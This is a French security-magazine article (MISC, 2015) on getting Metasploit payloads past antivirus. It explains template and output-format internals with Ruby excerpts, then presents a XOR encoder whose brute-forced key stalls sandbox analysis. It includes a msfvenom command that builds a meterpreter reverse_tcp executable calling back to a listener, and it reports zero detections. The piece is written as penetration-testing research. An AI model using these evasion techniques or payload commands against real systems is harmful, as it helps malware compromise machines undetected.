Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
|
Mois de parution
septembre 2015
|
Domaines


Résumé
Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).

Body

1. Le Framework Metasploit

Metasploit Framework souvent désigné par son abréviation MSF est un projet open source développé principalement en Ruby. Son but est d’aider à la réalisation de tests liés à la sécurité des SI et au développement rapide de code d’exploitation.

Il est organisé de façon modulaire et possède plusieurs interfaces utilisateurs qu’on ne présente plus : msfconsole, msfcli, msfpayload , msfencode, etc. Les deux dernières seront celles qui nous intéresseront dans cet article. Ces deux interfaces, en l’occurrence msfpayload et msfencode sont désormais rassemblées en une seule nommée msfvenom. La commande msfpayload permet la génération de code malveillant pouvant se présenter sous différents formats (C, Python, JavaScript, etc.) en fonction du contexte dans lequel sera exécutée cette charge. Cette composante d’encodage disponible dans metasploit a pour unique fonction la suppression de caractères tels que la présence d’un octet nul x00 représentant la fin d’une chaîne de caractères et peut poser problème lors de l’exploitation de vulnérabilités. En effet, l’encodeur modifie le code de la charge malveillante. À titre d’exemple, une opération de type XOR peut être appliquée à chaque octet. Cette transformation entraînera la modification de la signature détectée par les antivirus. C’est pour cette raison que les encodeurs sont souvent assimilés, à tort, a des moyens de contourner les solutions antivirales.

1.1 Les templates

Les « templates » sont des fichiers exécutables à l’intérieur desquels Metasploit insère une charge malveillante. Il en existe plusieurs disponibles par défaut pour les systèmes d’exploitation GNU/Linux, Microsoft Windows, Mac OS X et pour d’autres architectures plus exotiques. Ces fichiers sont stockés dans le répertoire metasploit-framework/data/templates/, on y trouve notamment ceux utilisés pour le format PE :

template_x64_windows.exe

template_x64_windows_svc.exe

template_x86_windows.exe

template_x86_windows_old.exe

template_x86_windows_svc.exe

Il est également possible de remplacer ces templates fournis par défaut, bien connus des éditeurs de solutions antivirales, par un exécutable quelconque, correspondant en termes d’architecture et de format (utilisation de l’option -x).

Dans le cadre de cet article, nous nous intéresserons principalement à la sortie d’un exécutable 32 bits au format PE. Prenons le cas d’un système d’exploitation Windows x86, le fichier utilisé sera template_x86_windows.exe. L’image ci-dessous nous montre l’analyse de cet exécutable (sans charge malveillante insérée) par le site internet virustotal.com.

virustotal_figure1

Figure 1 : Analyse de l'exécutable « template_x86_windows.exe » sans charge malveillante.

Comme nous pouvons le constater si l’objectif est de réaliser un exécutable totalement indétectable, notre démarche n’est pas satisfaisante du fait que le template par défaut, dépourvu de charge, est détecté comme malveillant.

1.2 Format de sortie

Metasploit utilise différents formats de sortie. Pour les systèmes Microsoft Windows, nous avons la possibilité de générer la charge soit dans une librairie avec l’option dll, soit liée à un service avec l’option exe-service. Nous nous intéresserons surtout aux exécutables au format PE. En effet, il existe plusieurs options dont la différence réside dans la façon d’insérer et d’exécuter la charge. C’est ainsi que nous disposons des options exe, exe-only et exe-small. Cette dernière étant aisément détectée n’est plus très utile et ne sera donc pas abordée au cours de cet article.

1.2.1 exe

Nous allons commencer par expliquer le fonctionnement de l’option exe. Elle fait appel à la fonction to_win32pe contenue dans le fichier metasploit/lib/msf/util/exe.rb. Dans les premières lignes figure l’appel à la fonction win32_rwx_exec.

# Copy the code to a new RWX segment to allow for self-modifying encoders

payload = win32_rwx_exec(code)

Cette fonction prend comme paramètre la variable code, qui est en réalité une charge seule (ex : windows/x86/meterpreter/reverse_tcp), ou un trampoline associé à une charge, si cette dernière a été encodée. La fonction va concaténer un trampoline à la variable code passée en paramètre. Le résultat de cette action est stocké dans la variable payload présente dans la séquence mentionnée ci-dessus.

Le trampoline, une fois exécuté, va allouer une zone mémoire grâce à la fonction VirtualAllocavec les droits PAGE_EXECUTE_READWRITE. Le fonctionnement du trampoline est volontairement simplifié puisque préalablement à l’appel de la fonction VirtualAlloc il a besoin d’obtenir les adresses des fonctions. À ces fins, il utilise la méthode suffisamment détaillée sur Internet dont on peut prendre connaissance avec la référence [2].

Revenons à la fonction to_win32pe. Elle va chercher une section exécutable suffisamment grande pour contenir la charge. Puis elle va tirer aléatoirement la position où sera placée la variable payload

# Pick a random offset to store the payload

poff = rand(block[1] - payload.length - 256)

Par la suite, elle appelle la fonction generate_nopsqui créer une suite de nops et d’instructions aléatoires placées sur le point d’entrée.

# Pad the entry point with random nops

entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

À la fin du bloc entry un saut vers la charge est inséré.

# Relative jump from the end of the nops to the payload

entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

La fonction mélange ensuite, de façon aléatoire, 25 % du code original écrit dans la section .text, les blocs entries et payload; modifie le timestamp et recalcule le checksum. Le traitement est résumé dans le schéma ci-dessous :

encodeur_exe_ruby

Figure 2 : Analyse du fonctionnement de l'encodeur pour le format de sortie « exe ».

1.2.2 exe-only

L’option que nous allons détailler maintenant est exe-only qui fait appel à la fonction to_winpe_only. Le code ci-dessous permet de parcourir les sections à la recherche de celle contenant le point d’entrée. Nous vérifions toujours que la taille est suffisante pour écrire la charge. En effet, au lieu de créer un code qui allouera une zone mémoire, nous donnons à la section les droits en écriture et nous modifions, à cet effet, le champ characteristics. La charge sera, alors, directement exécutée dans la section exécutable du binaire.

# look for section with entry point

sections_header.each do |sec|

virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]

sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]

characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]


if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)

importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]

if (importsTable - addressOfEntryPoint) < code.length

#shift original entry point to prevent tables overwritting

addressOfEntryPoint = importsTable - code.length + 4


entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset

exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')

end

# put this section writable

characteristics |= 0x8000_0000

newcharacteristics = [characteristics].pack('V')

exe[sec[0],newcharacteristics.length] = newcharacteristics

end

end

Enfin, la charge sera directement placée au niveau du point d’entrée de notre fichier exécutable.

# put the shellcode at the entry point, overwriting template

entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)

exe[entryPoint_file_offset,code.length] = code

exe = clear_dynamic_base(exe, pe)

exe

1.3 Encoder

L’outil msfencode, souvent utilisé conjointement avec msfpayload, permet d’encoder la charge en fonction du format cible et de l’encodeur retenu. Pour que le code d’exploitation fonctionne correctement, une des actions devant, par exemple, être souvent réalisée, consiste en la suppression des mauvais caractères. msfencode fait appel aux fonctions du script lib/msf/core/encoder.rb. Ce dernier contient notamment deux classes : EncoderState et Encoder.

- EncoderState sert à suivre l’état d’avancement de l’encodage. Il stocke des attributs tels que buf, correspondant au buffer initial, qui contient la charge non modifiée et encoded, correspondant au buffer final, qui contient la charge encodée (et/ou) chiffrée, et bien d’autres attributs.

- Encoder qui génère à l’aide de la fonction encodeune version encodée du buffer passé en argument. Tous les encodeurs héritent de cette deuxième classe.

L’image ci-dessous illustre cette fonction :

fonction_encode_ruby

Figure 3 : Code de la fonction ruby encode().

La séquence qui va nous intéresser se situe à partir de la ligne 268. Nous constatons qu’elle fait appel à trois fonctions : encode_begin et encode_end, toutes deux redéfinies dans l’encodeur sélectionné, et do_encode.

- encode_begin réalise des tâches préalables à l’encodage ;

- encode_endvaréaliser les actions postérieures à l’encodage ;

- do_encodeva permettre les actions de génération du trampoline et d’encodage de la chargecomme le montre l’exemple ci-après :

fonction_do_encode_ruby

Figure 4 : Code de la fonction ruby do_encode().

En ligne 286, la fonctiondecoder_stubest appelée. C’est à cet emplacement que sera généré le trampoline. Il est à noter que la séquence assembleur permet le décodage/déchiffrement de la charge en mémoire vive et son exécution. L’action exécutée ensuite est confiée à la fonction encode_block qui réalise l’encodage du buffer.Ces deux fonctions dépendent de l’encodeur. Une fois leurs actions réalisées, le trampoline et la charge sont concaténés (ligne 325).

2. Détection sans charge malveillante

Dans le tableau ci-dessous, nous avons voulu observer quelle composante les solutions antivirales détectent en excluant une charge malveillante :

Template

Format de sortie

Encoder

VirusTotal


template_x86_windows.exe (Metasploit)


exe-only

Aucun

18 / 54

exe

Aucun

29 / 54

exe-only

shikata_ga_nai

16 / 54

exe

shikata_ga_nai

35 / 54


PDFJPG.exe (http://www.pdfjpg.com)

exe-only

Aucun

0 / 54

exe

Aucun

19 / 54

exe-only

shikata_ga_nai

2 / 54

exe

shikata_ga_nai

25 / 54

Nous voyons clairement que le template Metasploit lève davantage d’alertes qu’un binaire quelconque. Nous pouvons également constater que le format de sortie exe est plus détecté que exe-only. Cela peut s’expliquer, en partie, par la technique utilisée pour l’exécution de la charge malveillante qui dans le cas de exe est faite par une allocation mémoire grâce à VirtualAlloc avec les droits PAGE_EXECUTE_READWRITE. Afin qu’un exécutable Windows ait le moins de chance d’être détecté par les solutions antivirales la première règle à respecter consiste à ne jamais utiliser les templates fournis par Metasploit, et la deuxième consiste à préférer exe-only pour le format de sortie.

3. Encrypter

3.1 Objectifs

L’outil que nous allons vous présenter maintenant n’est pas un encodeur, mais s’apparente plutôt à un outil de chiffrement, son objectif principal étant de rendre les charges malveillantes indétectables en les chiffrant. Notre outil de chiffrement doit contourner les protections antivirales, ce qui revient à prendre en compte la recherche par signature et la recherche par comportement. Afin de faciliter son utilisation, il est intégré comme encodeur au sein du framework Metasploit.

Notre implémentation utilise « l'algorithme XOR », parce que suffisant pour atteindre notre objectif.

3.2 Fonctionnement

Une idée simple permettant de contourner l’analyse par signature consiste à chiffrer la charge malveillante connue qui sera stockée dans un exécutable, dans un échange réseau, etc.

L’analyse comportementale est réalisée dans un bac à sable ou sandbox permettant d’exécuter, en limitant les risques, un code inconnu dans un environnement restreint. L’utilisateur ne souhaitant pas attendre indéfiniment, cette analyse doit être limitée dans le temps ou via un nombre de cycles de calcul. Si aucun comportement considéré comme malveillant n’a été identifié, la charge sera alors effectivement lancée sur le système d’exploitation. Réaliser un grand nombre de calculs, coûteux en temps, nécessaires pour retrouver le code malveillant en clair, nous permettra donc de contourner simplement l’analyse comportementale.

La solution retenue consiste à retrouver la clé de chiffrement par une attaque de type « force brute ». Notre stub contient un « clair connu », correspondant aux dix premiers octets de la charge non chiffrée. Ainsi pour retrouver la clé de chiffrement, il suffit d’effectuer une attaque par force brute sur les dix premiers octets de la charge chiffrée jusqu’à retomber sur le clair connu et ainsi retrouver la clé de chiffrement.

La durée de ce traitement étant supérieure à celle accordée à l’analyse effectuée en sandbox, cette dernière est contournée. Le temps nécessaire à cette opération dépend, en grande partie, de la puissance de la machine cible, des ressources CPU disponibles et de la grandeur de la clé. Dans notre implémentation, celle-ci est stockée dans un registre de 32 bits impliquant, de ce fait, 232 possibilités.

3.3 Utilisation

Le code source de l’outil se trouve à l’adresse suivante https://github.com/Sogeti-Pentest/Encrypter-Metasploit. Son installation est simple. Il suffit de copier le script ruby dans le répertoire metasploit/modules/encoders/x86/. Son utilisation est similaire à celle de tous les autres encodeurs de Metasploit.

Avec msfvenom :

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=2222 -f raw -x filename.exe -f exe-only -e x86/bf_xor -o msf.exe


Avec msfconsole :

msf exploit(handler) > set ENCODER x86/bf_xor

ENCODER => x86/bf_xor

msf exploit(handler) > exploit

3.4 Résultats

Les tests effectués à la fin du projet sur le site virustotal.com nous ont montré qu’aucun antivirus, sur un total de 57 sélectionnés, n’a détecté la charge malveillante.

virustotal_figure2

Figure 5 : Résultat sur virustotal pour un binaire contenant une charge de type meterpreter/reverse_tcp encodée.

Nous avons également réalisé des tests dans une machine virtuelle avec les antivirus Kaspersky internet security 2014, Avast, Symantec, et bien d’autres lors de nos missions de tests d’intrusion. Aucun d’entre eux n’a détecté la charge, ni même émis une alerte. Cependant, certaines sandbox gardent l’exécutable plus longtemps que d’autres, il est donc nécessaire d’utiliser une clé assez grande ou de faire appel à l’option -c de msfencode permettant d’encoder plusieurs fois.

3.5 Points d’amélioration

Le développement d’un trampoline polymorphique, la gestion de clé de taille supérieure à 32 bits, la taille aléatoire du clair connu, une compatibilité avec l’architecture x64 sont des points d’amélioration laissés aux lecteurs en guise d’exercices ;-)

Remerciements

Merci aux équipes de SOGETI ESEC pentest & lab pour leurs relectures. Greetz à la fapsec family et au staff Root Me, thx pour les tests ;-p

Références

http://schierlm.users.sourceforge.net/avevasion.html

http://blog.harmonysecurity.com/2009_08_01_archive.html

https://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/

https://github.com/rapid7/metasploit-framework


Sur le même sujet

Extraction des secrets de lsass à distance

Magazine
Marque
MISC
Numéro
108
|
Mois de parution
mars 2020
|
Domaines
Résumé

Le mouvement latéral est une composante essentielle des tests d’intrusion. Cette phase peut être fastidieuse si les cibles sont correctement protégées. L’outil « lsassy » répond à ce besoin en permettant d’extraire à distance les secrets présents sur des machines.

Mécanismes de défense en profondeur de Safari sur iOS

Magazine
Marque
MISC
Numéro
108
|
Mois de parution
mars 2020
|
Domaines
Résumé

Les navigateurs sont depuis plusieurs années une cible de choix pour obtenir une exécution de code arbitraire initiale dans la chaîne de compromission d’un équipement « client », que ce soit une station de travail classique ou un smartphone. La prolifération des vulnérabilités et techniques d’exploitation encourage les éditeurs à mettre en place de la défense en profondeur afin de supprimer des classes entières de vulnérabilités ou rendre leur exploitation particulièrement complexe.

Introduction au dossier : Sécurité des navigateurs web : où en sommes-nous ?

Magazine
Marque
MISC
Numéro
108
|
Mois de parution
mars 2020
|
Domaines
Résumé

Il y a maintenant 5 ans, MISC dédiait un dossier complet à la sécurité des navigateurs web [1]. Il y était traité de sandboxing sous Firefox, de JIT, de cloisonnement JavaScript, d’exploitation du navigateur Chrome sous Android. Une grande partie de ce qui a été écrit à l’époque est encore en partie valide et je vous invite à y jeter un œil si vous ne connaissez pas déjà ce dossier.

Un œil technique sur les sanctions de la CNIL

Magazine
Marque
MISC
Numéro
108
|
Mois de parution
mars 2020
|
Domaines
Résumé

Près de trois quarts des sanctions prononcées par la Commission Nationale de l’Informatique et des Libertés (CNIL) ont parmi leurs causes des vulnérabilités techniques de sécurité. À partir de ce constat, et au prisme de notre expérience à la fois en cybersécurité technique et en protection des données à caractère personnel, nous avons analysé les sanctions de la CNIL publiées sur le site https://www.legifrance.gouv.fr/. Nous avons notamment établi une correspondance avec les catégories de vulnérabilités techniques identifiées dans la nomenclature du top 10 de l'OWASP 2017 (Open Web Application Security Project). Nous avons également étudié les fuites de données majeures survenues en Europe et dans le monde. Il en ressort que les vulnérabilités les plus communes sont liées à l’authentification, au contrôle d’accès et à la protection des données au repos et en transit.

Par le même auteur

Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
|
Mois de parution
septembre 2015
|
Domaines
Résumé
Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).